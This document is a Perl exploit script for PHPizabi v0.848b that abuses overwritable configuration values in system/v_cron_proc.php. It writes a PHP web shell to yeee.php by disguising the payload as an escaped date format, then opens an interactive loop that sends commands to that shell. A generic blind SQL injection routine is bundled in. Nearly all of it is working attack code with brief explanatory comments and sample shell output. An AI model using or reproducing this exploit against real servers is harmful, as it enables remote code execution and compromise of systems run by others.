#!/usr/bin/perl 
#inphex
#PHPizabi v0.848b C1 HFP1 Remote Code Execution
#http://www.dz-secure.com/tools/1/WebESploit.pl.txt
#if you are seeking for a partner to work on some project(s) just send an email inphex0 [ at ] gmail [ dot ] com
#system/v_cron_proc.php
#  if (!function_exists("writeLogEntry")) {
#    function writeLogEntry($data) {
#      global $CONF;
#      
#      touch($CONF["CRON_LOGFILE"]);
#    
#      if ($handle = fopen($CONF["CRON_LOGFILE"], "a")) {
#        fwrite($handle, "[".date($CONF["LOCALE_LONG_DATE_TIME"])."] $data \n");
#        fclose($handle);
#      }
#    }
#  }
#
#
#writeLogEntry("Cron cycle started");
#writeLogEntry("Cron cycle ended");
########################################################
#overwritable:
#1.$CONF["CRON_LOGFILE"]
#2.$CONF["LOCALE_LONG_DATE_TIME"]
#
#date($CONF["LOCALE_LONG_DATE_TIME"]) ;\
#solution:
#<?php 
#echo date("a");
#?>
#returns: pm
#<?php 
#echo date("\a");
#?>
#returns: a
#seems logically eh?
#
#usage: perl ye.pl host /path/
#
## [C:\]# perl ye.pl host /path/
## $[host]# id
## uid=63676(dswrealty) gid=888(vusers) groups=33(www-data)
#
use LWP::UserAgent;
use HTTP::Cookies;
use Switch;

$hy = shift;
$host_ = "http://".$hy;
$path_ = shift;
$port = 80; #default
$info{'info'} = { 
  "description" => [""],
  "options" =>
  {
    "agent" => "",  
    "proxy" => "",  
    "default_headers" => [  
      ["key","value"]], 
    "timeout" => 0, 
    "cookie" =>     
    {
      "cookie" => [""],
    },
  },
  "sending_options" =>
  {
      "host" => $host_, 
      "path" => $path_."system/v_cron_proc.php",
            "port" => $port,                  
      "method_a" => "REMOTE_CO(MMAND)/CODE EXECUTION",  
      "attack" =>
    {
        "CONF[CRON_LOGFILE]" => ["get","CONF[CRON_LOGFILE]","yeee.php"],
        "CONF[LOCALE_LONG_DATE_TIME]" => ["get","CONF[LOCALE_LONG_DATE_TIME]","<?\\p\\h\\p \\e\\c\\h\\o \\s\\h\\e\\l\\l_\\ex\\e\\c\\(\\\$_\\G\\E\\T[\\c\\m\\d]\\);\\e\\x\\i\\t;?>"], #nice eh?:)
    },
  },

};

&start($info{'info'},222);
while () {
  print "\$[".$hy."]#";
  $cmd = <STDIN>;chomp($cmd);
  $info{'info'} = { 
    "description" => [""],
    "options" =>
      {
      "agent" => "",  
      "proxy" => "",  
      "default_headers" => [  
        ["key","value"]], 
      "timeout" => 0, 
      "cookie" =>     
      {
        "cookie" => [""],
      },
    },
    "sending_options" =>
    {
        "host" => $host_, 
        "path" => $path_."system/yeee.php",
          "port" => $port,                  
        "method_a" => "REMOTE_CO(MMAND)/CODE EXECUTION",  
        "attack" =>
      {
          "CONF[CRON_LOGFILE]" => ["get","cmd",$cmd],
      },
    },

  };

&start($info{'info'},221); 
print ${$info{'info'}}{221}{'content'}."\n";
}
sub start
{
  
  $a_ = shift;
  $id = shift;
  $post_dA = "";
  $get_dA = get_d_p_s("get");
  $post_dA = get_d_p_s("post");

  my ($x,$c,$m,$h,$ff,$kf,$hp,$c,$cccc) = (0,0,0,0,0,0,0,0,0);
        $jj = 1;
  $ii = 48;
        $hh = 1;
  $ppp = 0;
  $s = shift;
  $a = "";
  $res_p = "";
  $h = "";
  $ua= "";
  $agent= "";
  $k= "";
  $v= "";
  $get_data= "";
  $post_data= "";
  $header_dA = "";
  $h_host_h_xdsjaop = $a_->{'sending_options'}{'host'};
  $h_path_h_xdsjaop = $a_->{'sending_options'}{'path'};
  $h_port_h_xdsjaop = $a_->{'sending_options'}{'port'};
  $method_m = $a_->{'sending_options'}{'method_a'};
  $ua = LWP::UserAgent->new;
  $ua->timeout($a_->{'options'}{'timeout'});  
  if ($a_->{'options'}{'proxy'}) {
      $ua->proxy(['http', 'ftp'] => $a_->{'options'}{'proxy'});
  }
  $agent = $a_->{'options'}{'agent'} || "Mozilla/5.0"; 
  $ua->agent($agent); 
  {                                                 
    while (($k,$v) = each(%{$a_}))
      {
      if ($k ne "options" && $k ne "sending_options")
        {
        foreach $r (@{$a_->{$k}})
          {
            print $a_->{$k}[0];
          }
        }
      }


    foreach $j (@{$a_->{'options'}{'default_headers'}})
      {    
      $ua->default_headers->push_header($a_->{'options'}{'default_headers'}[$m][0] => $a_->{'options'}{'default_headers'}[$m][1]);
      $m++;
      }

    if ($a_->{'options'}{'cookie'}{'cookie'}[0])
      {          
      $ua->default_headers->push_header('Cookie' => $a_->{'options'}{'cookie'}{'cookie'}[0]);
      }

      

  }
  switch ($method_m)        
  {
    case "attack" { &attack();}
    case "SQL_INJECTION_BLIND" { &sql_injection_blind();}
    case "REMOTE_COMMAND_EXECUTION" { &attack();}
    case "REMOTE_CODE_EXECUTION" {&attack();}
    case "REMOTE_FILE_INCLUSION" { &attack();}
    case "LOCAL_FILE_INCLUSION" { &attack(); }
    else { &attack(); }  

  }


  sub attack
  {
    my ($jj);
    my ($h);
    my($x);
    if ($post_dA eq "") {
      $method = "get";
    } elsif ($post_dA ne "")
    {
      $method = "post";
    }
    if ($method eq "get") {  
      $res_p = get_data($h_host_h_xdsjaop,$h_path_h_xdsjaop."?".$get_dA);
      ${$a_}{$id}{'content'} = $res_p;
      foreach $a (@{$a_->{'sending_options'}{'attack'}{'regex'}})
        {
        $res_p =~ /$a_->{'sending_options'}{'attack'}{'regex'}[$h][0]/;
        
        while ($jj <= $a_->{'sending_options'}{'attack'}{'regex'}[$h][1])
          {
          if (${$jj} ne "")
            {
            ${$a_}{$id}{'regex'}[$h][$x] = ${$jj};
            $x++;
            }
            $jj++;
          }
          
          $h++;
        }
    } elsif ($method eq "post")
    {
      $res_p = post_data($h_host_h_xdsjaop,$h_path_h_xdsjaop."?".$get_dA,"application/x-www-form-urlencoded",$post_dA);
    
      ${$a_}{$id}{'content'} = $res_p;

      foreach $a (@{$a_->{'sending_options'}{'attack'}{'regex'}})
        {
        $res_p =~ /$a_->{'sending_options'}{'attack'}{'regex'}[$h][0]/;
        while ($jj <= $a_->{'sending_options'}{'attack'}{'regex'}[$h][1])
          {
          if (${$jj} ne "")
            {
            ${$a_}{$id}{'regex'}[$h][$x] = ${$jj};
            $x++;
            }
            $jj++;
          }
          $h++;
        }
    }

  }
  sub sql_injection_blind
  {
    while ()
      {
      while ($ii <= 120)
        {
        
        $itsx = "[".chr($ii)."]";
        $l = length($itsx);
        $b = ("\b")x$l;
        syswrite STDOUT,$b.$itsx;

        if(check($ii,$hh) == 1)
        {
          syswrite STDOUT,$b.chr($ii)."---";
          $hh++;
          $chr = $chr.chr($ii);
          }
          $ii++;
      }
      push(@ffs,length($chr)); 
      if (($#ffs - 999) == $ffs)
        {
        exit;
        }
        $ii = 48;
    }
  }
  sub check($$)
  {
    my ($h);
    my ($a);
    $ii = shift;
    $hh = shift;

    if (get_d_p_s("post") ne "")
      {
      $method = "post";
    } else { $method = "get";}
    if ($method eq "get")
      {
      $ppp++;
      $query = modify($get_dA,$ii,$hh);
      $res_p = get_data($h_host_h_xdsjaop,$a_->{'sending_options'}{'path'}."?".$query);

      foreach $a (@{$a_->{'sending_options'}{'attack'}{'regex'}})
        {
        if ($res_p =~m/$a_->{'sending_options'}{'attack'}{'regex'}[$h][0]/)
          {
          if ($a_->{'sending_options'}{'attack'}{'regex'}[$h][2] == 1) {
            return 1;
          } else { return 0;}
          }
          else 
        {
            if ($a_->{'sending_options'}{'attack'}{'regex'}[$h][2] == 1) {
              return 0;
            }else { return 1;}
  
            
        }
        $h++;
      }
    } elsif ($method eq "post")
      {
      $ppp++;
      $query_g = modify($get_dA,$ii,$hh);
      $query_p = modify($post_dA,$ii,$hh);
      
      $res_p = post_data($h_host_h_xdsjaop,$a_->{'sending_options'}{'path'}."?".$query_g,"application/x-www-form-urlencoded",$query_p);
      foreach $a (@{$a_->{'sending_options'}{'attack'}{'regex'}})
        {
        if ($res_p =~m/$a_->{'sending_options'}{'attack'}{'regex'}[$h][0]/)
          {
          return 1;
          }
          else 
          {
            return 0;
          }
        $h++;
      }
    }
  }
    sub modify($$$)
  {
      $string = shift;
      $replace_by = shift;
      $replace_by1 = shift;

      if ($string !~/\$i/ && $string !~/\$h/) {
        return $string;
          } elsif ($string !~/\$i/)
    {
            $ff = substr($string,0,index($string,"\$h"));
              $ee =  substr($string,rindex($string,"\$h")+2);
              $string = $ff.$replace_by1.$ee;

              return $string;
    } elsif ($string !~/\$h/)
    {
          $f = substr($string,0,index($string,"\$i"));
          $e = substr($string,rindex($string,"\$i")+2);
          $string = $f.$replace_by.$e;
        return $string;
    } else
    {
        $f = substr($string,0,index($string,"\$i"));
          $e = substr($string,rindex($string,"\$i")+2);
          $string = $f.$replace_by.$e;

        $ff = substr($string,0,index($string,"\$h"));
          $ee =  substr($string,rindex($string,"\$h")+2);
          $string = $ff.$replace_by1.$ee;

        return $string;
    }
  }
  sub get_d_p_s
  {
    $k = 0;
    $v = 0;
    $g_d_p_s = shift;

    @post = ();
    @get = ();
    
    $post_data = "";
    $get_data = "";
    $header_data = "";
    %header_dA = ();
    $p = "";
    $g = "";
    while (($k,$v) = each(%{$a_->{'sending_options'}{'attack'}}))
      {
      if ($a_->{'sending_options'}{'attack'}{$k}[0] =~/post/)
        {
        $p .= $a_->{'sending_options'}{'attack'}{$k}[1]."=".$a_->{'sending_options'}{'attack'}{$k}[2]."&";
        } elsif ($a_->{'sending_options'}{'attack'}{$k}[0] =~/get/) {
          $g .= $a_->{'sending_options'}{'attack'}{$k}[1]."=".$a_->{'sending_options'}{'attack'}{$k}[2]."&";
        } elsif ($a_->{'sending_options'}{'attack'}{$k}[0] =~ "header")
        {
                $header_dA{$a_->{'sending_options'}{'attack'}{$k}[1]} = $a_->{'sending_options'}{'attack'}{$k}[2];
        }
      }
    if ($g_d_p_s eq "get")
      {
      return $g;
      }
      elsif ($g_d_p_s eq "post")
    {
      return $p;
    } elsif ($g_d_p_s eq "header")
    {
      return %header_dA;
    }

      @a_ = ();
  }
  sub get_data
  {
    $h_host_h_xdsjaop = shift;
    $h_path_h_xdsjaop = shift;
    %hash = get_d_p_s("header");
      while (($u,$c) = each(%hash))
      {
      $ua->default_headers->push_header($u => $c);
      }
    $req = $ua->get($h_host_h_xdsjaop.":".$a_->{'sending_options'}{'port'}.$h_path_h_xdsjaop);
    return $req->content;
  }
  sub post_data
  {
    $h_host_h_xdsjaop = shift;
    $h_path_h_xdsjaop = shift;
    $content_type = shift;
    $send = shift;
    %hash = get_d_p_s("header");
      while (($u,$c) = each(%hash))
      {
        $ua->default_headers->push_header($u => $c);
      }
    $req = HTTP::Request->new(POST => $h_host_h_xdsjaop.":".$a_->{'sending_options'}{'port'}.$h_path_h_xdsjaop);
    $req->content_type($content_type);
    $req->content($send);
    $res = $ua->request($req);
    return $res->content;
  }

}